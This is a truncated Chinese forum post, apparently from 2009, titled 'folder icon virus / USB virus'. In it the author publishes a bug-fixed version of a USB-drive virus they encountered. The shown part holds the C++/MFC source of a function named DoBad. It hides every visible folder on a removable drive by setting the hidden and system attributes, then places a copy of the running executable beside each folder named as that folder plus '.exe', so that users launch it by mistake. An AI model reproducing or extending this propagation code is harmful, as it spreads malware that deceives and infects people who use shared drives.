[原创]文件夹图标病毒 U盘病毒

alalmn alalmn 墨衍会员 · AI 创作全网分发 墨衍智能分发 通过墨衍一键同步至各平台 可同步平台 CSDN微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年,写一次发全网 我也要 + 加入社区
/*文章作者:ALALMN JACK    BLOG  http://hi.baidu.com/alalmn
qq: 316118740
在邪八看到这个 ([原创]文件夹图标病毒以及专杀的实现) 呵呵
我们学校也有 我也中过 挺有意思的 我下载下来 一直没看代码
过年的时候刚好有时间看了下 发现很多问题(BUG) 后来给作者说下自己又改下 现在发布下
2009/1/27 */

U盘病毒 功能:模仿已有的U盘病毒 感染移动存贮器的一级目录 引用:
#include "stdafx.h"
#include <windows.h>
#include "resource.h"
/////////////////////////////////////////////////////
VOID DoBad(char DriveBuf[]);
VOID DoBad(char DriveBuf[])
{
CFileFind finder;
// build a string with wildcards
CString strWildcard(DriveBuf);
strWildcard += _T("*.*");
char FileSource[MAX_PATH]={0};
char FileNew[MAX_PATH]={0};
HMODULE hModule=GetModuleHandle(NULL);
GetModuleFileName(hModule,FileSource,MAX_PATH);
CloseHandle(hModule);
// start working for files
BOOL bWorking = finder.FindFile(strWildcard);
while (bWorking)
{
bWorking = finder.FindNextFile();
if (finder.IsDots())
continue;
// if it's a directory, recursively search it
if (finder.IsDirectory()&&!finder.IsSystem()&&!finder.IsHidden())
{
if(!SetFileAttributes(finder.GetFilePath(),FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM)) //| FILE_ATTRIBUTE_SYSTEM
continue;
sprintf(FileNew,"%s%s",finder.GetFilePath(),".exe");
CopyFile(FileSource,FileNew,TRUE);
}
}
finder.Close();
}
/////////////////////////////////////////////////////


/
...全文

相关推荐

评论 11
收藏 已收藏
分享
返回顶部
alalmn
其它技术问题 3,881 成员 9,044 内容